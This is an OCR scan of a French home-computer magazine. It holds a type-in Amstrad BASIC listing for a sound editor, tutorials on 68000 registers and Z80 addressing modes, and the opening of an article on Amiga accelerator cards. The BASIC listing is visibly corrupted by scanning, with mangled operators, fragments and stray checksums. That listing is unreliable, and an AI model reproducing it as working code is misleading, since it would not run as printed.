1730 LOCATE #5,1,6:PRINT #5."S'IL [9248] 
NE S'AGISSAIT QUE D'UNE SIMPL 
E SAUVEGARDE EN COURS DE TRAVAI 

L, PRESSER LA TOUCHE R puis RE 
TURN POUR RETOUR AU TRAVAIL 

1740 INPUT #5,"",r$:r$=UPPERS(r$) [2295] 

: IF R$o"R" THEN 1740 

1750 CLS #5iRETURN [1318] 

1760 ' [U71 

1770 '* Ecriture données en RAM * [2080] 

1780 POKE ADR,CANAL:POKE ADRtl.NO [4596] 

TE\256:POKE ADR+2.NOTE MOD 256:PO 
KE ADR*3,DUREE:ADR=ADR+4 
1790 IF flas(l)=l AND Ccanal=l OR [2665] 
canal=17 OR canal=33 OR canal=49 
) THEN 1830 

1800 IF flas(2)=l AND (canal=2 OR [5626] 
canal=10 OR canal=34 OR canal=42 
) THEN 1830 

1810 IF flas(3)=l AND (canal=4 OR [4455] 
canal=12 OR canal=20 OR canal=28 
) THEN 1830 

1820 adr=adr+as:GOTO 1860 [850] 

1830 IF FENV=1 THEN POKE ADR,NENV [1808] 
:ADR=ADR*1 

1840 IF FENT=1 THEN POKE ADR.NENT [3215] 
:ADR=ADR+1 

1850 IF FBRUIT=1 THEN POKE ADR,BR [2794] 
UIT:ADR=ADR+1 

1860 COMPT=COMPT+(4+AS):LOCATE 30 [2700] 
, 6 :PRINT USING "#####" ;COMPT 
1870 RETURN 
1880 ‘ 


1890 '* CHANG. Nos ENV. & BRUIT * 
1900 IF OP>3 THEN RETURN 
1910 IF INKEY(19)=0 THEN 1920 ELS 
E 1990 

1920 ON OP GOTO 1930,1950,1970 
1930 IF NENV<15 THEN NENV=NENVtl: 
GOSUB 2190 
1940 RETURN 

1950 IF NENT<15 THEN NENT=NENT+1: 
GOSUB 2190 
1960 RETURN 

1970 IF BRDIT<31 THEN BRUIT=BRUIT 


+1 :GOSUB 2190 
1980 RETURN 

1990 ON OP GOTO 2000,2020,2040 
2000 IF NENV>0 THEN NENV=NENV-1: 
GOSUB 2190 
2010 RETURN 

2020 IF NENT>0 THEN NENT=NENT-1:G 
OSUB 2190 
2030 RETURN 

2040 IF BRUIT>0 THEN BRUIT=BRUIT- 
1: GOSUB 2190 
2050 RETURN 
2060 ' 

2070 '•« ECOUTE SIMPLIFIEE •* 

2080 FOR A=20000 TO 20000+CCMPT-l 
STEP 4+AS 

2090 FOR B=0 TO 3:CCB)=PEEK(A+B); 
NEXT;SOUND 1,C(1)*256+CC2),CC3)*2 
,12:NEXT 
2100 RETURN 
2110 ' 

2120 ’** MARQUE FIN FICHIER ** 
2130 SOUND 129,0:FOR B=1 TO 20:BO 
RDER 6:FOR BB=1 TO 10:NEXT:BORDER 
13:SOUND 1,2200,2,6 , , , 1 :NEXT : FOR 
b=adr TO adr*(3+as):POKE b,255:N 
EXT:COMPT=COMPT+(4+AS):TAGOFF:LOC 
ATE 30.6:PRINT USING "#####" :COMP 
TiRETURN 
2140 ' 

2150 '** S-ROUT. DESSIN PORTEE ** 
2160 FOR b=l TO nf:DRAWR -dr,0:MO 
VER dr,24:NEXTiRETURN 
2170 ' 

2180 '** ECRIT VAL. OPTIONS GAUCH 


[555] 

[900] 

[1566] 


[555] 

[117] 

[1552] 

[12589] 


[117] 

[2005] 

[3393] 


2190 TAGOFF 


LOCATE 7,5 
LOCATE 7,7 
LOCATE 7,9 


PRINT USIN [ 
PRINT USIN 
PRINT DSIN 


G bruitiRETURN 
2200 ' [117] 

2210 «* MISES NOTES EN TABLEAU *• [777] 
2220 RESTORE 2230:FOR B=1 TO 46:R [3981] 
EAD VALEUR :N(B)=VALEUR:NEXT:RETUR 
N 

2230 DATA 758,0,716,676,638.602,5 [2496] 
68,536,506,0.478.451,426,402 
2240 DATA 379,0,358,338,319.301,2 [3013] 
84,268,253,0.239,225,213.201 
2250 DATA 190,0,179,169,159,150,1 [2B43] 
42,134,127,0,119,113.106,100,95,0 
, 0,0 

2260 ' [117] 

2270 '** VARIABLES PRINCIPALES *• [1292] 

2280 'FV$ = FLECHE VERTICALE [1141] 

2290 'XH = POSITION X DE CETTE F [3542] 

LECHE CEN HAUT) 

2300 'XB = POSITION X DE CETTE F [3423] 


[555] 

[117] 

[15891 

[9711 

[1598] 


2310 'FHÎ = FLECHE HORIZONTALE PO 
DR PORTEE 

2320 'YD = POSITION Y DE CETTE F 
LECHE CA DROITE) 

2330 'YG = POSITION Y DE CETTE F 
LECHE CA GAUCHE) 

2340 ’OPC = OPTION 1 A 12 CSELECT 
ION CANAL) 

2350 'OPD = OPTION 1 A 10 CSELECT 
ION DUREE) 

2360 'OPN = OPTION 1 A 16 (SELECT 
ION NOTE, 16=SILENCE) 

2370 'OP = OPTION 1 A 8 (SELECT 
ION DIVERSES) 

2380 'DIM NC27) = VALEURS REPRESE 
NÎANT LES NOTES 

2390 'COMPT: COMPTEUR GRANDEUR DU 
FICHIER FINAL 

2400 'NENT = No ENV. DE TONALITE 
VOULUE 

2410 'NENV = No ENV. DE VOLUME 
VOULUE 

2420 'BRUIT= VALEUR DU BRUIT Cl A 
31) 

2430 'ALT = INDICE D'ALTERATION 
C# OU b) 

2440 'ADR = ADRESSE OU L'ON STOC 
KE LES BONNES 
2450 'AS = NOMBRE D'i 


2460 ’FENV, FENT, FBRUIT = FLAGS, 
MIS A 1 INDIQUENT 
2470 ' LES ENVELOPPES OU BRU 

IT A SAUVEGARDER 

2480 'FLASC1 A 3) = MIS A 1 INDIQ 
UE QUEL CANAL 

2490 PREND LES ENVELOPPES 

OU BRUIT 

2500 FOR a=20000 TO 21000 STEP 6: 
FOR b=0 TO 5:PRINT PEEK(a+b);:NEX 
T:PRINT:NEXT 


[2128] 

[2071] 

[3757] 

[1686] 

[22401 

[31671 

[2106] 

[3197] 

[2643] 

[14101 

[902] 

[2405] 

[2554] 

[1652] 

[5556] 

[3223] 

[1959] 

[1876] 

[1978] 

[3034] 
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UU4] 
[260] 
[938J 
[574] 
[1164] 
[117] 

> "Jeuxlnt",!? [1545] 


[117] 

ues ** [1424] 
,-1,18, [3053] 

3,-1.30 [2541] 


220 GOTO 220 


SOÜS-ROUT. LHCI. DONNEES 


26® 'Ligna a oodil. ai voua avez 
270 'plus da données a récupérer 
280 canal=PEEKCindex):note=PEEE(l 
ndez+l)*256+PEEX(lndex+2):durea=P 
ESKClndexJ-3) :index=index+4 
290 ' 

300 '* lest bouclage: lin des don 
310 IF c 


[1292] 

[588] 

[117] 

[1460] 

[1171 

[425] 

[117] 

[1234] 

[117] 

[1671] 

[1909] 

[4572] 





170 FOR 
180 FOR 
190 IF 




230 

220 n=(PEEK((ad-l)+ii)) 

230 aî=SIR$Cn):af=MID$(aî.2):ï 
T aS: 

240 NEXT 
250 ad=a ’ 

260 NEXT 
270 PRIE 


[ 1121 ] 
I (1984] 


HEii 

ad=ad*nbr 

NEXT 

PRINT CHR$( 
NEXT 






















AMiGA 


Les registres internes 

AUTO-FORMEZ-VOUS A L'ASSEMBLEUR 68000 


PROGRAMMATION 

INITIAT ION 


(3 e partie) 

Suite de notre numéro 8, comment 
allons-nous dialoguer en Assembleur 
avec le 68000? Par le biais de ses 
registres internes. 



A = 0, A$ = "Coucou!". Sachez 
que les registres du 68000 se 
manipulent de façon analogue; 
ils sont nommés avant d'être 
assignés d'une valeur. 

Vue d'ensemble (fig. 1) 

Il existe plusieurs types de 
registres: les registres de don¬ 
née, les. registres d'adresse, les 
piles, le compteur de program¬ 
me et enfin le registre des flags 
(.State Register). Ils sont au for¬ 
mat 32 bits, c'est-à-dire pou¬ 
vant contenir une valeur de 0 à 
16777215 ($0 à $FFFFFFFF), 
sauf le registre d'état qui lui ne 
contient que 16 bits. 

Les registres de donnée 

Au nombre de 8, ils se nom¬ 
ment D0, Dl, D2, D3, D4, D5, 
D6, D7. «D» signifie «Data» 
(donnée), les nombres «0-7» 
permettent de les distinguer, 
mais aucun n'est plus impor¬ 
tant qu'un autre. Dans ces 
registres sont stockées des 
valeurs telles que des comp¬ 
teurs de boucles (cf. FOR en 
Basic) et des paramètres pour 
des appels de routines. 
Admettons, par exemple, que 
vous vouliez changer de .stylo 
afin d'écrire vos caractères à 
l'écran. C'est dans l'un de ces 
registres que sera mis le numé¬ 
ro du stylo avant l'appel de la 
routine concernée. Ici,, pas de 
mystère, on commence en 
général par utiliser le registre 
D0 puis Dl et ainsi de suite. 
Mais ce sens de parcours n'est 


pas obligé; libre à chacun de 
faire comme bon lui semble. 
Les registres du 68000 n'occu¬ 
pant aucune place en mémoi¬ 
re, il n'y a pas lieu de se sou¬ 
cier comment le stockage des 
données s'effectue. 

Le chargement d'une valeur 
dans un registre de donnée, 
n'utilise pas forcément les 32 
bits. Une valeur 8 bits dans D0 
par exemple, affecte seule¬ 
ment les 8 bits (octet) en par¬ 
tant de-la droite. Les 24 bits 
restants sont préservés, sauf 
lors de l'emploi d'une instruc¬ 
tion faisant une extension de 
signe 32 bits. 

Remarque, importante: un 
registre de donnée est au for¬ 
mat 32 bits tous significatifs, il 
contient donc un mot long 
(Long Word), soit 4 octets 
(Bytes). Lors d'un stockage 
d'octet, ce sont les bits 0-7 du 
mot long qui sont modifiés, 
soit les 8 bits de droite. Aucun 
choix d'affectation n'est à faire. 
Il en existe plusieurs sortes de 
registres, d'adresse program¬ 
mables de différentes façons. 
Commençons par les plus 
simples. 

Les registres d'adresse 
principaux 

Soit sept registres: A0, Al, A2, 
A3, A4, A5 et A6 qui s'utilisent 


de la même manière que les 
registres de donnée, (procédé 
de stockage identique), mais 
cette fois pour le stockage des 
adresses. «A» signifie naturel¬ 
lement «Address». - 
Soyons concret ne serait-ce 
qu'un instant. Vous connaissez 
tous les instructions Basic 
POKE et PEEK. Par exemple, 
l'instruction POKE $10000,5 
place la valeur 5 dans le tiroir 
d'adresse $10000. Ensuite, 
PRINT PEEK ($10000) permet 
la lecture et l'affichage du 
contenu de cette adresse, soit 
la valeur 5. Voici comment 
réaliser un tel POKE en 
Assembleur. 

MOVEQ #5,D0 

MOVE.L #$10000,A0 

MOVE.B D0,(A0) 

La valeur 5 est stockée dans le 
registre de donnée, puis est 
inscrite dans A0, l'adresse que 
nous allons utiliser. Enfin, on 
procède au transfert qui 
consiste à mettre l'octet que 
contient D0 à l'adresse définie 
par A0. N'allons pas plus loin 
afin de rie pas déflorer nos 
prochaines découvertes. 
Lorsqu'on examine la figure 1, 
On remarque que les bits 24- 
31 des registres d'adresse sont 
dénommés «non significatifs». 


En voici la raison: les registres 
d'adresse sont théoriquement 
au format 32 bits (possibilité 
d'inscrire une valeur 32 bits 
dans l'un deux). Mais il faut 
savoir que les 8 bits de plus 
fort poids n'existent pas car il 
n'y a que 24 fils sur le bus 
d'adresses. Ceux-ci ignorés, 
donc non significatifs, sont 
mis à 0. Notez que les mettre à 
1 ne planterait pas le système, 
notre 68000 est pétri d'indul¬ 
gence. 

Ainsi, un chiffre hexa repré¬ 
sente 4 chiffres binaires puis¬ 
qu'un mot long contient 32 
bits. Donc, 8x4 chiffrés 
binaires soit 8 chiffres. hexa 
sont nécessaires pour le 
dénommer. On sait mainte¬ 
nant que les 8 bits de gauche 
ne -sont pas utilisés, soit 2 
chiffres hexa. C'est pourquoi-, 
tout l'espace adressable par le 
68000 ne nécessite -que 6 
chiffres hexa. Une adresse du 
genre $00dff000 devient 
$dff000. 

Un double registre 
d'adresse 

Outre les 7 que nous venons 
d'évoquer, existe un autre 
registre faisant office de poin¬ 
teur de pile et qui, de plus, 
peut être dédoublé. Son nom 
est A7, mais taper SP (Stock 
Pointer, pointeur de pile) dans 
un programme ne crée pas 
d'ambiguïté. Qu'est-ce qu’un 
«pointeur»? Qu'est-ce qu'une 
«pile»? • • 

Un pointeur est un registre 
(pas forcément un registre 
machine) qui contient l'adres- 
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32 bits significatifs 



,15,1413,12,11,10,9,8 7,65 4 ,3 2,1,0, 

1 registre d'état { 1 I I ! 1 I 1 ! 1 , I I I 1 1 ! 1 s.R. 

16 bits — __. — (State 

Octet système Octet utilisateur register) 


Xes registres 
du 68000 


se où se trouve actuellement la 
pile. Celle-ci change souvent 
et facilement d'emplacement. 
Voici pourquoi: elle est une 
zone réservée au système, et 
contient les adresses de retour 
de sous-programmes. La pile 
SP a une structure LIFO (hast 
In-First Out) - littéralement: le 
dernier rentré est le premier 
sorti - équivalent à une pile 
d'assiettes. On doit retirer la 
dernière pour prendre celle de 
dessous. Ici, les assiettes sont 
tout simplement des adresses 
32 bits (4 octets). 


Lors de l'appel à un sous-pro¬ 
gramme (GOSUB en Basic, 
BSR en Assembleur), l'adresse 
de l'instruction suivante 
(après le BSR) est sauvegardée 
dans la pile. Puis, quand le 
68000 rencontre l'instruction 
RTS (Retum en Basic), il récu¬ 
père l'adresse dans la pile et 
exécute les instructions à par¬ 
tir de ladite adresse qui sera 
stockée dans le PC. 

Admettons que la pile soit en 
$80000 et que l'on veuille y 
stocker l'adresse $12345. Le 


68000 va d'abord décrémenter 
(soustraire 1) 4 fois le pointeur 
de la pile, (SP vaudra donc 
$7FFFC), puis ranger $12345 
($00012345) à partir de 
$7FFFC. Le résultat en mémoi¬ 
re sera le suivant: 

S7FFFC = $00 

S7FFFD = $01 

$7FFFE = $23 

$7FFFF = $45 


Il est important de savoir que 
SP est d'abord décrémenté. En 
ce qui concerne la lecture 
d'une adresse se trouvant à 
une adresse pointée par SP, le 
processus est rigoureusement 
le même si l'on prend la peine 
de partir de la fin. Le 68000 
lira donc les 32 bits se trou¬ 
vant à l'adresse pointée par SP, 
puis incrémentera 4 fois SP 
afin que celle-ci retrouve son 
état initial. 

L'accès facile à la pile favori¬ 
sant les risques d'erreurs, 
celle-ci doit être manipulée 
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Décomposition de l'octet 

utilisateur 

Bit 7 6 5 4 3 

2 1 0 

0 0 0 X N 

Z V c 

0 : non significatifs 

X : extended (Extension) 

N : Négative (Négatif) 

Z : Zéro, Equality (Zéro, Egalité) 

V : Overflow (Dépassement) 

C : Carry (Retenue) 

Fieure 2 


avec précaution. Si le SP est 
mal dirigé lors d'un charge¬ 
ment d'adresse pour un retour 
de sous-programme, le 68000 
lancera un programme dont 
l'adresse sera erronée. Inutile 
de préciser qu'alors, le planta¬ 
ge du système est assuré. 

Ceci étant dit, je peux mainte¬ 
nant vous avouer qu'il existe 
deux piles. L'une que nous 
connaissons déjà, A7, et son 
homologue A7'. On utilise 
deux autres abréviations qui 
sont, à mon avis moins bar¬ 
bares: USP et SSP. Reste à 
savoir ce que signifie U et S. 

- USP = User Stock Pointer 

- SSP = Superviser Stock 
Pointer 

Eh oui, le 68000 possède trois 
modes de fonctionnement, 
dont un que nous passerons 
volontairement sous silence; il 
s'agit du Hait State Mode ou 
mode bloqué. Les deux autres 
sont le mode utilisateur et le 
mode superviseur. 

Le système d'exploitation de 
notre ordinateur (DOS) tra¬ 
vaille en mode superviseur, 
alors que nos routines 
Assembleur tournent en mode 
normal, autre nom du User 
Mode. La différence principale 
entre ces deux modes est 
qu'en mode normal, il y a un 
certain nombre d'instructions 
inutilisables pour des raisons 
que nous verrons plus tard. 

On peut difficilement changer 
de mode de fonctionnement 
par programmation et il est 
peu recommandé de le faire. 
En effet, le mode superviseur 
permet de verrouiller le systè¬ 
me contre les erreurs de l'.utili- 
sateur. Si vous passez dans ce 
mode, l'ordinateur n'a plus de 
défenses et les conséquences 
peuvent être fatales. Lors de 
l'utilisation d'instructions nor¬ 
malement réservées, le 68000 
déclenche une exception 
«Violation de privilège» qui 
amène le plantage assez fe.v dé¬ 
ment, à moins bien évidem¬ 
ment de détourner ces vec¬ 
teurs. Avant d'arriver à tout 
ceci, contentons-nous d'abord 
de programmer cette belle 


bête qu'est le 68000 d'une 
manière relativement 
«propre». 

Lors d'un passage èn mode 
superviseur, SP prend la 
valeur de SSP (A7') et inverse¬ 
ment lors d'un passage en 
mode , normal. Le 68000 
contient donc deux piles 
accessibles suivant le mode 
dans lequel on se trouve. 

Dernier larron 
32 bits, le PC 
(Program Counter) 

Ce compteur de programme 
contient l'adresse de l'instruc¬ 
tion en cours d'exécution, il est 
donc modifié à chaque nou¬ 
velle instruction. La program¬ 
mation de ce registre d'adresse 
est évidente: un JMP $70000 
correspond à un saut à l'adres¬ 
se $70000 (sans que l'adresse 
de retour soit sauvegardée 
dans la pile USP). Le PC 
contiendra, suite à cette ins¬ 
truction, la valeur $70000 et le 
68000 exécutera la prochaine 
instruction à partir de cette 
adresse. 

Le registre d'état, SR 
(State Register) 

Il comporte 16 bits eux-mêmes 
scindés en 2 octets. L'octet de 
droite est l'octet utilisateur. 


celui de gauche, l'octet systè¬ 
me. Ce dernier n'est accessible 
qu'en mode superviseur du 
fait de son contenu peu 
enviable par l'utilisateur 
moyen qui n'aime pas trop les 
«violations de privilèges». 
L'octet utilisateur, quant à lui, 
est accessible dans nimporte 
quel mode de fonctionnement. 
Seuls, 5 de ses bits sont signifi¬ 
catifs (bit 0-4). Ce sont 5 flags 
(drapeaux) sensibles au résul¬ 
tat d'une instruction (fig. 2). 

Le fonctionnement de ces flags 
est simple. Leur bit correspon¬ 
dant est mis à 1 dans le cas où 
justement l'un ou plusieurs 
d'entre-eux est considéré 
comme vrai suite à une ins¬ 
truction déterminée. Ainsi, 

- MO VE.B #5,D0 ; on met la 
valeur 5 dans le registre de 
donnée D0 

- SUB.B #5,D0 ; on lui sous¬ 
trait 5, DO — 0 

Le flag Z (Zéro) est donc vrai 
et le bit 2 de l'octet User est 
mis à 1. Remarquons que l'oc¬ 
tet User est finalement inutile. 
Il existe en effet toute une 
panoplie d'instructions 68000 
effectuant le travail qui consis¬ 
te à tester ces bits, puis à faire 
des branchements dans un 
programme selon tel ou tel 
cas. Toutefois, les flags sont à 
retenir car très importants. 
Nous les étudierons prochai¬ 


nement lors de la description 
détaillée de chacune des ins¬ 
tructions du 68000. 

Adresses, code objet 

Avant de se quitter, éclaircis¬ 
sons un point qui peut 
paraître obscur. La façon dont 
se décompose un programme. 


$10000 2C78 0004 MOVE.L $0004,A6 
$10004 4E75 RTS 


A gauche, se trouve l'adresse 
de départ du programme et 
par la même, l’adresse de la 
première instruction que le 
68000 va décoder puis exécu¬ 
ter. Figure ensuite le code 
objet (langage machine qui est 
la traduction du langage 
Assembleur) et enfin le mné¬ 
monique Assembleur. Puis on 
passe à l'instruction suivante. 
L'adresse de la seconde ins¬ 
truction est $10004 car la pre¬ 
mière nécessite 4 octets. Une 
instruction prend au mini¬ 
mum 2 octets en mémoire, for¬ 
mant ce que l'on appelle le 
code opératoire. On trouve, le 
cas échéant, la valeur de l'opé¬ 
rande source puis celui de 
destination exprimés par un 
mot ou un mot long. Si l'opé¬ 
rande est un octet ($10 par 
exemple), son code en langage 
machine sera $0010. 

Notre prochain menu, les 
modes d'adressages des 
registres. On va enfin pouvoir 
utiliser notre moniteur 
Assembleur. 

Stéphane Rodriguez 


MEA CULPA 

Malencontreusement hap¬ 
pée dans un gouffre spatio- 
temporel, la ligne suivante 
devait normalement figurai 
à la fin de l'article précé¬ 
dent: 

- Prouvons que nous 
sommes les plus forts, pro¬ 
grammons en 68000 en 
attendant le 68040 de 
Motorola. Fréquence de 
l'horloge? 100 MHz. 
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Les modes d'adressage 

L’ASSEMBLEUR EN DOUCEUR 

(6 e partie) 


La manipulation de valeurs en 
mémoire vive, via les registres du Z80, 
s 'effectue par une action importante 
nommée «adressage». 

La terminologie en est quelque peu 
différente selon la méthode employée. 


fin d’étudier tout ceci 
en détail, nous allons 
introduire le mnémo¬ 
nique «LD» destiné à adres¬ 
ser une valeur. Facile à rete¬ 
nir, il résulte de la contrac¬ 
tion du mot anglais «Load» 
(charger). Après un espace, 
il admet deux données tou¬ 
jours séparées d'une virgule. 
La première précise l'endroit 
(mémoire ou registre) et la 
seconde, la valeur à y placer. 
Sachez que le langage 
Assembleur dispose d'un 
très grand nombre de mné¬ 
moniques, mais que la plu¬ 
part des programmes n'en 
utilisent qu'une faible partie. 
Avant d'aborder les diffé¬ 
rents adressages, signalons 
que «#» précédera un 
nombre hexadécimal et «%» 
une valeur binaire (repré¬ 
sentation de l'Assembleur 
•jDEVPAC). Les nombres 
décimaux seront écrits tels 
quels. 

Adressage immédiat 

Il consiste à charger directe¬ 
ment la valeur désirée dans 
un des registres, exemple: 

- LD A,50 stocke 50 dans le 
registre A (accumulateur). 

- LD HL,12000 stocke 12000 
dans le double registre HL. 
Ces deux exemples appellent 
déjà deux commentaires: 

- il ne faut pas perdre de vue 
la capacité maximum du 
registre concerné. Par 
exemple, A qui est un 


registre 8 bits, ne peut être 
chargé qu'avec un nombre 
de 0 à 255. Lors de certaines 
opérations comme l'addition 
où A recueille le résultat, il 
faut savoir qu'à 256, ledit 
registre se retrouve à 0. Si le 
résultat est 258, A contient 2 
avec un des flags (drapeau) 
du registre F signalant le 
dépassement; 

- chargé dans un registre 16 
bits (constitué de deux 
registres 8 bits comme BC, 


DE ou HL), un nombre est 
stocké sous la forme poids 
fort et poids faible. Lors de 
LD HL,12000, le registre H 
va contenir le poids fort de 
12000, soit le nombre de fois 
256 contenu dans cette 
valeur. Le reste de cette divi¬ 
sion entière constituera le 
poids faible placé dans L. 
12000 : 256 = 46 reste 224, 
donc H=46 et L=224. La 
représentation binaire est 
encore plus significative: 


H I L 
I 

12000 = %00101110 I 11100000 
46 I 224 

N.B. Au risque d'alourdir le 
propos, signalons, pour être 
complet, les termes anglais 
que l'on rencontre parfois: 
MSB (Most Significant Byte), 
poids fort et LSB (Least 
Significant Byte), poids faible. 

Adressage registre 

Ici, un registre est chargé 
avec la valeur que contient 
un autre registre, exemple: 
LD A,B ; charge dans A- la 
valeur actuellement contenue 
dans B (tout en conservant 
celle-ci dans B). 

Les registres doivent bien 
évidemment être de même 
capacité, donc, pas d'incon¬ 
gruité du genre LD A,HL. 

L'adressage étendu 

Egalement appelé direct ou 
absolu, il permet de stocker 
ou lire des valeurs en 
mémoire vive (RAM). Il 
«étend» donc le champ limité 
des stockage des registres, 
exemple: 

- LD A,(30000) ; charge dans 
A la valeur contenue à 
l'adresse 30000. 

- LD (30000),A ; charge la 
valeur contenue dans le 
registre A à l’adresse 30000. 

- LD (30000),HL; charge à 
partir de l'adresse 30000 la 









valeur contenue dans HL 
sous la forme «inversée», 
poids faible en 30000 et 
poids fort 30001. 

Soulignons qu'il est logique 
de stocker ainsi une valeur 
contenue dans un double 
registre (elle peut atteindre 
65535), puisque la capacité 
d'une seule adresse se limite 
à 255. La méthode poids 
fort, poids faible le permet 
car (255 x 256) + 255 = 65535. 
Beaucoup moins logique est 
la forme de stockage inver¬ 
sée; raison de plus pour s'en 
souvenir! A noter également 
une nouvelle notion: un 
nombre entre parenthèses 
sera toujours relatif à une 
adresse. Dans notre exemple 
(30000) signifie à l'adresse 
30000 de la RAM. 

Adressage indirect 

Il présente peu de différences 
avec l'adressage étendu. 
L'adresse n'apparaît pas direc¬ 
tement, mais est représentée 
par un registre double préala¬ 
blement chargé de celle-ci. HL, 
s'il est disponible, sera tou¬ 
jours préféré car les instruc¬ 
tions qui l'emploient sont un 
peu plus rapides, exemple: 

- LD HL,30000 ; 30000 est 
chargé dans HL. 

- LD (HL),8 ; charge à l'adres¬ 
se que contient HL (donc 
30000), la valeur 8. 

Observez que HL entre paren¬ 
thèses est considéré comme 
(30000), il pointe donc une 
adresse. Remarquez égale¬ 
ment que par ce mode 
d'adressage, la valeur 8 est 
directement stockée à une 
adresse. En effet, LD (30000),8 
n'est pas permis, seul LD 
(30000),A est correct. Fort heu¬ 
reusement, en cas de méprise, 
l'Assembleur se charge de 
vous rappeler à l'ordre lors de 
l'opération de compilation. 

Adressage indexé 

Œn fait, un adressage indi¬ 
rect qui emploie IX et IY, dits 
registres indexés (revoir la 


définition des registres): 

- LD IX,30000 ; 30000 est 
chargé dans IX. 

- LD (IX+3),8 ; charge à 
l'adresse 30003 (30000 + 3), 
la valeur 8. 

(IX+x) dont on a souligné 
l'utilité pour la gestion des 
«tables» de données en Ram 
( Micro-Mag n°9), permet lui 
aussi de fournir directement 
une valeur sans passer par 
A. 

Une fois de plus, il ne s'agit 
que de terminologies. On 
peut parfaitement user de 
tous ces modes d'adressage 
sans en connaître le nom. 
Toutefois, si d'aventure vous 
rencontrez au sein d'un 
article un verbiage du genre: 
«... nous allons employer 
une table où nous accéde¬ 
rons par adressage indexé», 
vous serez moins enclin à 
jeter l'ouvrage à la poubelle. 

Prémices 

Avant de nous risquer (pro¬ 
chainement) à quelques 
lignes en Assembleur, il 
serait bon de découvrir la 
première des «directives 
d'assemblage» rencontrée 
dans un programme. Le but 
de ces fameuses directives 
étant de fournir diverses 
indications au logiciel 
Assembleur, elles ne génè¬ 
rent donc pas de codes 
machine à la compilation. 
Cel)e qui nous occupe doit 
être placée dès le début du 
programme. Il s'agit de 
ORG, suivi de «l'adresse 
d'implantation» à partir de 
laquelle la routine sera ins¬ 
tallée en Ram. 

Pourquoi la quasi-totalité 
des programmes réclament- 
ils l'adresse future d'implan¬ 
tation des routines? C'est en 
fait lié à la façon de repré¬ 
senter en codes machine, 
certains ordres de 
l'Assembleur. Par exemple 
les «étiquettes» attribuant 
des noms aux sous-routines. 
Un nom bien choisi 
(exemple, «Tracé :» permet 


de distinguer la fonction 
d'une sous-routine donnée, 
tout en évitant de calculer et 
manier directement la valeur 
de l'adresse à laquelle elle se 
trouve). 

C'est le logiciel Assembleur 
qui, lors de la compilation, 
se charge de remplacer les 
étiquettes par les adresses 
correspondantes. Supposons 
que «Tracé :» commence au 
50e code machine. Avec 
ORG 30000 précisé en début 
de pro- 
gramme, 
l'appel à 
notre sous- 
routine se 
fera en 
30050. Si la 
fantaisie 
nous prend 
de changer 
l'implanta¬ 
tion de 
notre pro- 
gramme 
(reloger) 
par un ORG 
20000, l'éti- 
q u e t t e 
«Tracé :» 
sera auto¬ 
matique¬ 
ment rem¬ 
placée par 
2 0 0 5 0. 

Avouez que c'est plus effica¬ 
ce que d'avoir à tout recal¬ 
culer! 

Déterminer une valeur pour 
ORG introduit d'autres 
réflexions, limite basse et 
haute par exemple. 
Lorsqu'on envisage d'im¬ 
planter une routine en LM 
cohabitant avec un pro¬ 
gramme Basic, il faut placer 
celle-ci le plus haut possible 
afin de ménager une place 
suffisante au programme 
Basic. Evitez bien évidem¬ 
ment de squatter la mémoire 
vidéo, ou pire encore, les 
routines système, variables 
système, etc. Le mieux est 
de faire l'opération suivante: 
valeur de l'Himem, moins 
longueur de la routine en 
baissant encore le résultat 


de 100 (à moins d'un 
manque de place terrible). 
Ces emplacements supplé¬ 
mentaires autoriseront 
quelques modifications ulté¬ 
rieures sans avoir à modifier 
ORG. Pensez également à la 
zone destinée à accueillir 
des données! De plus, il faut 
tenir compte de la place 
qu'occupent ensemble 
l'Assembleur lui-même, la 
table des symboles générés 
à la compilation et le pro¬ 


gramme source. A ce pro¬ 
pos, lisez très attentivement 
le manuel de votre 
Assembleur. 

Une autre instruction capita¬ 
le est le mnémonique RET 
que nous avons déjà évoqué. 
Son oubli est souvent lourd 
de conséquences. En effet, si 
nous avons parlé de son 
emploi pour clôturer une 
sous-routine à l'intérieur 
même d'une routine 
Assembleur, il faut savoir 
que c'est le RET final d'une 
routine qui rend la main au 
Basic (lors de l'appel par 
CALL, depuis de Basic, d'un 
routine en langage machine). 
Très bientôt, nos premiers 
pas... 

Guy Poli 
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Ibujours plus vite 


LES CARTES 
ACCELERATRICES 

Pas de banc d'essai de logiciel 
ce mois-ci, mais la première partie d'un 
panorama de ce qui existe en matière de 
cartes accélératrices sur Amiga. 


La micro-synthèse sur 
Amiga présente les logiciels 
de modélisation et d'anima¬ 
tion 3D afin de découvrir 
l'énorme potentiel de ces 
applications. 


V ous, passionnés de 3D, 
savez que les temps de 
calculs atteints par les 
programmes de ray-tracing 
sont souvent énormes, et 
qu'un Amiga standard, équi¬ 
pé d'un pauvre 68000, est lar¬ 
gement sous-motorisé. Le 
problème s'agrave encore 
lorsque l'on s'intéresse à l'ani¬ 
mation, car le calcul de vingt- 
quatre images en ray-tracing 
sur configuration standard 
peut dépasser allègrement la 
semaine. 

Bien sûr, les accélérateurs coû¬ 
tent cher, et l'on peut être 
amené à se poser la question 
suivante: en ai-je réellement 
besoin? Si la 3D est une pas¬ 
sion passagère et que l'on 
n'envisage pas d'acquérir un 
Amiga 2000 plus extensible, la 
réponse est assurément 
«non», à moins de crouler 
sous les dollars bien entendu. 
En effet, VAmiga 500, même 
s'il dispose de quelques cartes 
de ce genre, n'est pas la 
machine rêvée pour mouliner 
de l'image de synthèse en per¬ 
manence. Sur 2000, le choix 
est large, et les critères de 
décision sont autres. 

Le principe de la carte accélé¬ 
ratrice est connu. Il s'agit de 
remplacer le processeur cen¬ 
tral de la machine-hôte par un 
circuit plus rapide, si possible 
compatible avec les logiciels 
existants. L'Amiga a de la 
chance de ce côté, étant 
compatible avec tous les pro¬ 


cesseurs Motorola. Il est forte¬ 
ment conseillé de rajouter une 
certaine quantité de mémoire 
sur bus 32 bits afin que le pro¬ 
cesseur rapide ne soit pas 
ralenti par l'accès à la mémoi¬ 
re 16 bits de la carte mère ou 
d'une extension mémoire de 
type A2058. 

Cela dit, et avant de voir ce 
qui existe sur le marché, 
quelques conseils: 

- la bidouille consistant à rem¬ 
placer le 68000 par un 68010 
L8 marche, mais le gain de 
temps ne dépasse jamais 5 à 
10% sur les logiciels du com¬ 
merce. Si vous en trouvez un 
peu cher (environ 150 F.), 
vous pouvez essayer mais ne 
vous attendez pas à une trans¬ 
formation radicale. 

- les cartes accélératrices de 
type 68000 à 16 MHz ne font 
tourner qu'un nouveau 
68000L16 à 16 MHz, tout le 
reste du système reste à l'an¬ 
cienne vitesse de 7,16 MHz; 
en conséquence n'espérez pas 
obtenir plus de 25% de gain. 

- ce qui vous intéresse, c'est 
l'image de synthèse (je vous 
